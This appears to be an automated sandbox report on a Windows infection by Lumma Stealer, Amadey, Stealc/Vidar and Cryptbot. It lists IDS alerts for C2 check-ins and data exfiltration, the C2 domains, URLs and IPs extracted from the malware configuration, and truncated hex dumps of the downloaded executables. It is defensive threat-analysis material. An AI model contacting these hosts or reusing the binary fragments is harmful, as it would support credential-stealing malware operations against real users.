Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:64030 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:60267 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49922 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49918 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49942 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49944 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49943 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49928 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49953 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49954 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49957 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49923 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49959 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49962 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49966 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49967 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49987 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49988 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49995 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50007 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49989 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49998 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50008 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50005
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50020 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50031 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50033 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50056 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50060 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50064 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50062 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50070 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50079 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50082 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50091 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50096 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50094 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49799 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49795 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49795 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.4:49818 -> 94.130.188.57:443
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.4:49821 -> 94.130.188.57:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.188.57:443 -> 192.168.2.4:49831
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.188.57:443 -> 192.168.2.4:49827
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49836 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49836 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49861 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49868 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49868 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49864 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49864 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49830 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49830 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49834 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49922 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49922 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49911 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49915 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49915 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49928 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49928 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49927 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49927 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49953 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49942 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49949 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49962 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49959 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49990 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49999 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49999 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50006 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50006 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50020 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50059 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50007 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50082 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50082 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50068 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50066 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50094 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50079 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50079 -> 172.67.209.202:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: sustainskelet.lat
Source: Malware configuration extractor URLs: grannyejh.lat
Source: Malware configuration extractor URLs: crosshuaht.lat
Source: Malware configuration extractor URLs: rapeflowwj.lat
Source: Malware configuration extractor URLs: necklacebudi.lat
Source: Malware configuration extractor URLs: energyaffai.lat
Source: Malware configuration extractor URLs: pancakedipyps.click
Source: Malware configuration extractor URLs: aspecteirs.lat
Source: Malware configuration extractor URLs: discokeyus.lat
Source: Malware configuration extractor URLs: http://www.microsoft.com0
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:09 GMTContent-Type: application/octet-streamContent-Length: 2668544Last-Modified: Sat, 21 Dec 2024 08:45:32 GMTConnection: keep-aliveETag: "6766802c-28b800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ca 47 72 61 ab 29 21 61 ab 29 21 61 ab 29 21 13 2a 2a 20 6c ab 29 21 13 2a 2c 20 f5 ab 29 21 13 2a 2d 20 72 ab 29 21 70 2d 2a 20 73 ab 29 21 70 2d 2d 20 71 ab 29 21 70 2d 2c 20 47 ab 29 21 13 2a 28 20 64 ab 29 21 61 ab 28 21 3f ab 29 21 e2 2d 21 20 60 ab 29 21 e2 2d d6 21 60 ab 29 21 e2 2d 2b 20 60 ab 29 21 52 69 63 68 61 ab 29 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f4 a8 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 aa 26 00 00 1c 02 00 00 00 00 00 50 a5 23 00 00 10 00 00 00 c0 26 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 29 00 00 04 00 00 be fd 28 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 aa 27 00 3c 00 00 00 00 f0 27 00 7d 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 28 00 b8 6a 00 00 00 9c 27 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9b 27 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 aa a8 26 00 00 10 00 00 00 aa 26 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c f1 00 00 00 c0 26 00 00 f2 00 00 00 ae 26 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 1a 00 00 00 c0 27 00 00 0a 00 00 00 a0 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 70 74 61 62 6c 65 80 00 00 00 00 e0 27 00 00 02 00 00 00 aa 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7d 9e 00 00 00 f0 27 00 00 a0 00 00 00 ac 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b8 6a 00 00 00 90 28 00 00 6c 00 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:19 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:26 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:31 GMTContent-Type: application/octet-streamContent-Length: 4419072Last-Modified: Sat, 21 Dec 2024 20:08:15 GMTConnection: keep-aliveETag: "6767202f-436e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 90 c5 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 c5 00 00 04 00 00 67 02 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 7a c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 79 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 